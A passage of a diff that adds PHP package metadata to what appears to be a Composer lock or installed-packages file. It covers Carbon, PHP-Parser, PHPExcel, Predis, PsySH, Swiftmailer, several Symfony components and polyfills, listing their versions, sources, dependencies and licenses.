+ "url": "https://api.github.com/repos/CarbonPHP/carbon/zipball/4be0c005164249208ce1b5ca633cd57bdd42ff33", + "reference": "4be0c005164249208ce1b5ca633cd57bdd42ff33", + "shasum": "" + }, + "require": { + "kylekatarnls/update-helper": "^1.1", + "php": ">=5.3.9", + "symfony/translation": "~2.6 || ~3.0 || ~4.0" + }, + "require-dev": { + "composer/composer": "^1.2", + "friendsofphp/php-cs-fixer": "~2", + "phpunit/phpunit": "^4.8.35 || ^5.7" + }, + "time": "2019-10-14T05:51:36+00:00", + "bin": [ + "bin/upgrade-carbon" + ], + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Carbon\\Laravel\\ServiceProvider" + ] + }, + "update-helper": "Carbon\\Upgrade" + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Brian Nesbitt", + "email": "brian@nesbot.com", + "homepage": "http://nesbot.com" + } + ], + "description": "A simple API extension for DateTime.", + "homepage": "http://carbon.nesbot.com", + "keywords": [ + "date", + "datetime", + "time" + ], + "funding": [ + { + "url": "https://github.com/kylekatarnls", + "type": "github" + }, + { + "url": "https://opencollective.com/Carbon", + "type": "open_collective" + }, + { + "url": "https://tidelift.com/funding/github/packagist/nesbot/carbon", + "type": "tidelift" + } + ] + }, + { + "name": "nikic/php-parser", + "version": "v2.1.1", + "version_normalized": "2.1.1.0", + "source": { + "type": "git", + "url": "https://github.com/nikic/PHP-Parser.git", + "reference": "4dd659edadffdc2143e4753df655d866dbfeedf0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/4dd659edadffdc2143e4753df655d866dbfeedf0", + "reference": "4dd659edadffdc2143e4753df655d866dbfeedf0", + "shasum": "" + }, + "require": { + "ext-tokenizer": "*", + "php": ">=5.4" + }, + "require-dev": { + "phpunit/phpunit": "~4.0" + }, + "time": "2016-09-16T12:04:44+00:00", + "bin": [ + "bin/php-parse" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.1-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "PhpParser\\": "lib/PhpParser" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Nikita Popov" + } + ], + "description": "A PHP parser written in PHP", + "keywords": [ + "parser", + "php" + ] + }, + { + "name": "paragonie/random_compat", + "version": "v1.4.3", + "version_normalized": "1.4.3.0", + "source": { + "type": "git", + "url": "https://github.com/paragonie/random_compat.git", + "reference": "9b3899e3c3ddde89016f576edb8c489708ad64cd" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paragonie/random_compat/zipball/9b3899e3c3ddde89016f576edb8c489708ad64cd", + "reference": "9b3899e3c3ddde89016f576edb8c489708ad64cd", + "shasum": "" + }, + "require": { + "php": ">=5.2.0" + }, + "require-dev": { + "phpunit/phpunit": "4.*|5.*" + }, + "suggest": { + "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes." + }, + "time": "2018-04-04T21:48:54+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "files": [ + "lib/random.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Paragon Initiative Enterprises", + "email": "security@paragonie.com", + "homepage": "https://paragonie.com" + } + ], + "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7", + "keywords": [ + "csprng", + "pseudorandom", + "random" + ] + }, + { + "name": "phpoffice/phpexcel", + "version": "1.8.2", + "version_normalized": "1.8.2.0", + "source": { + "type": "git", + "url": "https://github.com/PHPOffice/PHPExcel.git", + "reference": "1441011fb7ecdd8cc689878f54f8b58a6805f870" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPOffice/PHPExcel/zipball/1441011fb7ecdd8cc689878f54f8b58a6805f870", + "reference": "1441011fb7ecdd8cc689878f54f8b58a6805f870", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "ext-xml": "*", + "ext-xmlwriter": "*", + "php": "^5.2|^7.0" + }, + "require-dev": { + "squizlabs/php_codesniffer": "2.*" + }, + "time": "2018-11-22T23:07:24+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-0": { + "PHPExcel": "Classes/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-2.1" + ], + "authors": [ + { + "name": "Maarten Balliauw", + "homepage": "http://blog.maartenballiauw.be" + }, + { + "name": "Erik Tilt" + }, + { + "name": "Franck Lefevre", + "homepage": "http://rootslabs.net" + }, + { + "name": "Mark Baker", + "homepage": "http://markbakeruk.net" + } + ], + "description": "PHPExcel - OpenXML - Read, Create and Write Spreadsheet documents in PHP - Spreadsheet engine", + "homepage": "https://github.com/PHPOffice/PHPExcel", + "keywords": [ + "OpenXML", + "excel", + "php", + "spreadsheet", + "xls", + "xlsx" + ], + "abandoned": "phpoffice/phpspreadsheet" + }, + { + "name": "pimple/pimple", + "version": "v3.2.3", + "version_normalized": "3.2.3.0", + "source": { + "type": "git", + "url": "https://github.com/silexphp/Pimple.git", + "reference": "9e403941ef9d65d20cba7d54e29fe906db42cf32" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/silexphp/Pimple/zipball/9e403941ef9d65d20cba7d54e29fe906db42cf32", + "reference": "9e403941ef9d65d20cba7d54e29fe906db42cf32", + "shasum": "" + }, + "require": { + "php": ">=5.3.0", + "psr/container": "^1.0" + }, + "require-dev": { + "symfony/phpunit-bridge": "^3.2" + }, + "time": "2018-01-21T07:42:36+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.2.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-0": { + "Pimple": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + } + ], + "description": "Pimple, a simple Dependency Injection Container", + "homepage": "http://pimple.sensiolabs.org", + "keywords": [ + "container", + "dependency injection" + ] + }, + { + "name": "predis/predis", + "version": "v1.1.10", + "version_normalized": "1.1.10.0", + "source": { + "type": "git", + "url": "https://github.com/predis/predis.git", + "reference": "a2fb02d738bedadcffdbb07efa3a5e7bd57f8d6e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/predis/predis/zipball/a2fb02d738bedadcffdbb07efa3a5e7bd57f8d6e", + "reference": "a2fb02d738bedadcffdbb07efa3a5e7bd57f8d6e", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "require-dev": { + "phpunit/phpunit": "~4.8" + }, + "suggest": { + "ext-curl": "Allows access to Webdis when paired with phpiredis", + "ext-phpiredis": "Allows faster serialization and deserialization of the Redis protocol" + }, + "time": "2022-01-05T17:46:08+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Predis\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniele Alessandri", + "email": "suppakilla@gmail.com", + "homepage": "http://clorophilla.net", + "role": "Creator & Maintainer" + }, + { + "name": "Till Krüss", + "homepage": "https://till.im", + "role": "Maintainer" + } + ], + "description": "Flexible and feature-complete Redis client for PHP and HHVM", + "homepage": "http://github.com/predis/predis", + "keywords": [ + "nosql", + "predis", + "redis" + ], + "funding": [ + { + "url": "https://github.com/sponsors/tillkruss", + "type": "github" + } + ] + }, + { + "name": "psr/container", + "version": "1.0.0", + "version_normalized": "1.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/container.git", + "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f", + "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "time": "2017-02-14T16:28:37+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common Container Interface (PHP FIG PSR-11)", + "homepage": "https://github.com/php-fig/container", + "keywords": [ + "PSR-11", + "container", + "container-interface", + "container-interop", + "psr" + ] + }, + { + "name": "psr/http-message", + "version": "1.0.1", + "version_normalized": "1.0.1.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-message.git", + "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-message/zipball/f6561bf28d520154e4b0ec72be95418abe6d9363", + "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "time": "2016-08-06T14:39:51+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Psr\\Http\\Message\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interface for HTTP messages", + "homepage": "https://github.com/php-fig/http-message", + "keywords": [ + "http", + "http-message", + "psr", + "psr-7", + "request", + "response" + ] + }, + { + "name": "psr/log", + "version": "1.1.4", + "version_normalized": "1.1.4.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "time": "2021-05-03T11:20:27+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Psr\\Log\\": "Psr/Log/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ] + }, + { + "name": "psr/simple-cache", + "version": "1.0.1", + "version_normalized": "1.0.1.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/simple-cache.git", + "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "time": "2017-10-23T01:57:42+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Psr\\SimpleCache\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interfaces for simple caching", + "keywords": [ + "cache", + "caching", + "psr", + "psr-16", + "simple-cache" + ] + }, + { + "name": "psy/psysh", + "version": "v0.7.2", + "version_normalized": "0.7.2.0", + "source": { + "type": "git", + "url": "https://github.com/bobthecow/psysh.git", + "reference": "e64e10b20f8d229cac76399e1f3edddb57a0f280" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/bobthecow/psysh/zipball/e64e10b20f8d229cac76399e1f3edddb57a0f280", + "reference": "e64e10b20f8d229cac76399e1f3edddb57a0f280", + "shasum": "" + }, + "require": { + "dnoegel/php-xdg-base-dir": "0.1", + "jakub-onderka/php-console-highlighter": "0.3.*", + "nikic/php-parser": "^1.2.1|~2.0", + "php": ">=5.3.9", + "symfony/console": "~2.3.10|^2.4.2|~3.0", + "symfony/var-dumper": "~2.7|~3.0" + }, + "require-dev": { + "fabpot/php-cs-fixer": "~1.5", + "phpunit/phpunit": "~3.7|~4.0|~5.0", + "squizlabs/php_codesniffer": "~2.0", + "symfony/finder": "~2.1|~3.0" + }, + "suggest": { + "ext-pcntl": "Enabling the PCNTL extension makes PsySH a lot happier :)", + "ext-pdo-sqlite": "The doc command requires SQLite to work.", + "ext-posix": "If you have PCNTL, you'll want the POSIX extension as well.", + "ext-readline": "Enables support for arrow-key history navigation, and showing and manipulating command history." + }, + "time": "2016-03-09T05:03:14+00:00", + "bin": [ + "bin/psysh" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-develop": "0.8.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "src/Psy/functions.php" + ], + "psr-4": { + "Psy\\": "src/Psy/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Justin Hileman", + "email": "justin@justinhileman.info", + "homepage": "http://justinhileman.com" + } + ], + "description": "An interactive shell for modern PHP.", + "homepage": "http://psysh.org", + "keywords": [ + "REPL", + "console", + "interactive", + "shell" + ] + }, + { + "name": "ralouphie/getallheaders", + "version": "3.0.3", + "version_normalized": "3.0.3.0", + "source": { + "type": "git", + "url": "https://github.com/ralouphie/getallheaders.git", + "reference": "120b605dfeb996808c31b6477290a714d356e822" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822", + "reference": "120b605dfeb996808c31b6477290a714d356e822", + "shasum": "" + }, + "require": { + "php": ">=5.6" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^2.1", + "phpunit/phpunit": "^5 || ^6.5" + }, + "time": "2019-03-08T08:55:37+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "files": [ + "src/getallheaders.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ralph Khattar", + "email": "ralph.khattar@gmail.com" + } + ], + "description": "A polyfill for getallheaders." + }, + { + "name": "swiftmailer/swiftmailer", + "version": "v5.4.12", + "version_normalized": "5.4.12.0", + "source": { + "type": "git", + "url": "https://github.com/swiftmailer/swiftmailer.git", + "reference": "181b89f18a90f8925ef805f950d47a7190e9b950" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/swiftmailer/swiftmailer/zipball/181b89f18a90f8925ef805f950d47a7190e9b950", + "reference": "181b89f18a90f8925ef805f950d47a7190e9b950", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "require-dev": { + "mockery/mockery": "~0.9.1", + "symfony/phpunit-bridge": "~3.2" + }, + "time": "2018-07-31T09:26:32+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.4-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "lib/swift_required.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Chris Corbyn" + }, + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + } + ], + "description": "Swiftmailer, free feature-rich PHP mailer", + "homepage": "https://swiftmailer.symfony.com", + "keywords": [ + "email", + "mail", + "mailer" + ], + "abandoned": "symfony/mailer" + }, + { + "name": "symfony/console", + "version": "v2.7.51", + "version_normalized": "2.7.51.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/console.git", + "reference": "574cb4cfaa01ba115fc2fc0c2355b2c5472a4804" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/console/zipball/574cb4cfaa01ba115fc2fc0c2355b2c5472a4804", + "reference": "574cb4cfaa01ba115fc2fc0c2355b2c5472a4804", + "shasum": "" + }, + "require": { + "php": ">=5.3.9", + "symfony/debug": "^2.7.2" + }, + "require-dev": { + "psr/log": "~1.0", + "symfony/event-dispatcher": "~2.1", + "symfony/process": "~2.1" + }, + "suggest": { + "psr/log-implementation": "For using the console logger", + "symfony/event-dispatcher": "", + "symfony/process": "" + }, + "time": "2018-05-13T15:44:36+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\Console\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Console Component", + "homepage": "https://symfony.com" + }, + { + "name": "symfony/css-selector", + "version": "v2.8.52", + "version_normalized": "2.8.52.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/css-selector.git", + "reference": "7b1692e418d7ccac24c373528453bc90e42797de" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/css-selector/zipball/7b1692e418d7ccac24c373528453bc90e42797de", + "reference": "7b1692e418d7ccac24c373528453bc90e42797de", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "time": "2018-11-11T11:18:13+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.8-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\CssSelector\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Jean-François Simon", + "email": "jeanfrancois.simon@sensiolabs.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony CssSelector Component", + "homepage": "https://symfony.com" + }, + { + "name": "symfony/debug", + "version": "v2.7.51", + "version_normalized": "2.7.51.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/debug.git", + "reference": "4a7330f29b3d215f8bacf076689f9d1c3d568681" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/debug/zipball/4a7330f29b3d215f8bacf076689f9d1c3d568681", + "reference": "4a7330f29b3d215f8bacf076689f9d1c3d568681", + "shasum": "" + }, + "require": { + "php": ">=5.3.9", + "psr/log": "~1.0" + }, + "conflict": { + "symfony/http-kernel": ">=2.3,<2.3.24|~2.4.0|>=2.5,<2.5.9|>=2.6,<2.6.2" + }, + "require-dev": { + "symfony/class-loader": "~2.2", + "symfony/http-kernel": "~2.3.24|~2.5.9|^2.6.2" + }, + "time": "2018-08-03T11:24:48+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\Debug\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Debug Component", + "homepage": "https://symfony.com", + "abandoned": "symfony/error-handler" + }, + { + "name": "symfony/dom-crawler", + "version": "v2.7.51", + "version_normalized": "2.7.51.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/dom-crawler.git", + "reference": "d905e1c5885735ee66af60c205429b9941f24752" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/d905e1c5885735ee66af60c205429b9941f24752", + "reference": "d905e1c5885735ee66af60c205429b9941f24752", + "shasum": "" + }, + "require": { + "php": ">=5.3.9", + "symfony/polyfill-ctype": "~1.8" + }, + "require-dev": { + "symfony/css-selector": "~2.3" + }, + "suggest": { + "symfony/css-selector": "" + }, + "time": "2018-05-01T22:30:49+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\DomCrawler\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony DomCrawler Component", + "homepage": "https://symfony.com" + }, + { + "name": "symfony/event-dispatcher", + "version": "v2.8.52", + "version_normalized": "2.8.52.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/event-dispatcher.git", + "reference": "a77e974a5fecb4398833b0709210e3d5e334ffb0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/a77e974a5fecb4398833b0709210e3d5e334ffb0", + "reference": "a77e974a5fecb4398833b0709210e3d5e334ffb0", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "require-dev": { + "psr/log": "~1.0", + "symfony/config": "^2.0.5|~3.0.0", + "symfony/dependency-injection": "~2.6|~3.0.0", + "symfony/expression-language": "~2.6|~3.0.0", + "symfony/stopwatch": "~2.3|~3.0.0" + }, + "suggest": { + "symfony/dependency-injection": "", + "symfony/http-kernel": "" + }, + "time": "2018-11-21T14:20:20+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.8-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\EventDispatcher\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony EventDispatcher Component", + "homepage": "https://symfony.com" + }, + { + "name": "symfony/finder", + "version": "v2.7.51", + "version_normalized": "2.7.51.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/finder.git", + "reference": "34226a3aa279f1e356ad56181b91acfdc9a2525c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/finder/zipball/34226a3aa279f1e356ad56181b91acfdc9a2525c", + "reference": "34226a3aa279f1e356ad56181b91acfdc9a2525c", + "shasum": "" + }, + "require": { + "php": ">=5.3.9" + }, + "time": "2018-05-14T06:36:14+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\Finder\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Finder Component", + "homepage": "https://symfony.com" + }, + { + "name": "symfony/http-foundation", + "version": "v2.7.51", + "version_normalized": "2.7.51.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/http-foundation.git", + "reference": "b67e5cbd2bf837fb3681f2c4965826d6c6758532" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/http-foundation/zipball/b67e5cbd2bf837fb3681f2c4965826d6c6758532", + "reference": "b67e5cbd2bf837fb3681f2c4965826d6c6758532", + "shasum": "" + }, + "require": { + "php": ">=5.3.9", + "symfony/polyfill-mbstring": "~1.1" + }, + "require-dev": { + "symfony/expression-language": "~2.4" + }, + "time": "2019-04-16T09:58:21+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\HttpFoundation\\": "" + }, + "classmap": [ + "Resources/stubs" + ], + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony HttpFoundation Component", + "homepage": "https://symfony.com" + }, + { + "name": "symfony/http-kernel", + "version": "v2.7.52", + "version_normalized": "2.7.52.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/http-kernel.git", + "reference": "435064b3b143f79469206915137c21e88b56bfb9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/http-kernel/zipball/435064b3b143f79469206915137c21e88b56bfb9", + "reference": "435064b3b143f79469206915137c21e88b56bfb9", + "shasum": "" + }, + "require": { + "php": ">=5.3.9", + "psr/log": "~1.0", + "symfony/debug": "^2.6.2", + "symfony/event-dispatcher": "^2.6.7", + "symfony/http-foundation": "~2.7.36|^2.8.29", + "symfony/polyfill-ctype": "~1.8" + }, + "conflict": { + "symfony/config": "<2.7", + "twig/twig": "<1.34|<2.4,>=2" + }, + "require-dev": { + "symfony/browser-kit": "~2.3", + "symfony/class-loader": "~2.1", + "symfony/config": "~2.7", + "symfony/console": "~2.3", + "symfony/css-selector": "^2.0.5", + "symfony/dependency-injection": "~2.2", + "symfony/dom-crawler": "^2.0.5", + "symfony/expression-language": "~2.4", + "symfony/finder": "^2.0.5", + "symfony/process": "^2.0.5", + "symfony/routing": "~2.2", + "symfony/stopwatch": "~2.3", + "symfony/templating": "~2.2", + "symfony/translation": "^2.0.5", + "symfony/var-dumper": "~2.6" + }, + "suggest": { + "symfony/browser-kit": "", + "symfony/class-loader": "", + "symfony/config": "", + "symfony/console": "", + "symfony/dependency-injection": "", + "symfony/finder": "", + "symfony/var-dumper": "" + }, + "time": "2019-04-17T16:37:53+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\HttpKernel\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony HttpKernel Component", + "homepage": "https://symfony.com" + }, + { + "name": "symfony/polyfill-ctype", + "version": "v1.19.0", + "version_normalized": "1.19.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-ctype.git", + "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/aed596913b70fae57be53d86faa2e9ef85a2297b", + "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "suggest": { + "ext-ctype": "For best performance" + }, + "time": "2020-10-23T09:01:57+00:00", + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Ctype\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gert de Pagter", + "email": "BackEndTea@gmail.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for ctype functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "ctype", + "polyfill", + "portable" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ] + }, + { + "name": "symfony/polyfill-intl-idn", + "version": "v1.19.0", + "version_normalized": "1.19.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-idn.git", + "reference": "4ad5115c0f5d5172a9fe8147675ec6de266d8826" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/4ad5115c0f5d5172a9fe8147675ec6de266d8826", + "reference": "4ad5115c0f5d5172a9fe8147675ec6de266d8826", + "shasum": "" + }, + "require": { + "php": ">=5.3.3", + "symfony/polyfill-intl-normalizer": "^1.10", + "symfony/polyfill-php70": "^1.10", + "symfony/polyfill-php72": "^1.10" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "time": "2020-10-21T09:57:48+00:00", + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + }, + "branch-alias": { + "dev-main": "1.19-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Idn\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Laurent Bassin", + "email": "laurent@bassin.info" + }, + { + "name": "Trevor Rowbotham", + "email": "trevor.rowbotham@pm.me" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's idn_to_ascii and idn_to_utf8 functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "idn", + "intl", + "polyfill", + "portable", + "shim" + ], + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": 